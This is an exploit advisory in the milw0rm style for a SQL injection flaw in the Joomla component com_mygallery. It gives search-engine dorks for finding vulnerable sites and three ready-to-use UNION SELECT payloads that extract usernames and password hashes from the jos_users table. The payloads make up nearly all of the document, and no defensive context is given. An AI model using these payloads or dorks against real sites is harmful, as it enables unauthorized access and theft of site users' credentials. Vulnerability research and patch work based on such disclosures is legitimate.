###############################################################=0D
# =0D
#   joomla SQL Injection(com_mygallery)=0D
###############################################################=0D
#=0D
# AUTHOR : S@BUN =0D
#=0D
# HOME : http://www.milw0rm.com/author/1334=0D 
#   =0D
# MAİL : hackturkiye.hackturkiye@gmail.com=0D 
#        =0D
################################################################=0D
# =0D
#  DORK 1 : allinurl:"com_mygallery"cid=0D
# =0D
#  DORK 2 : allinurl: =0D
#=0D
################################################################=0D
   EXPLOIT : =0D
=0D
-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14/**/from/**/jos_users/*=0D
=0D
-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11/**/from/**/jos_users/*=0D
=0D
-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,concat(username,0x3a,password),concat(username,0x3a,password),15/**/from/**/jos_users/*=0D
=0D
################################################################=0D
# S@BUN           i AM NOT HACKER      S@BUN =0D
################################################################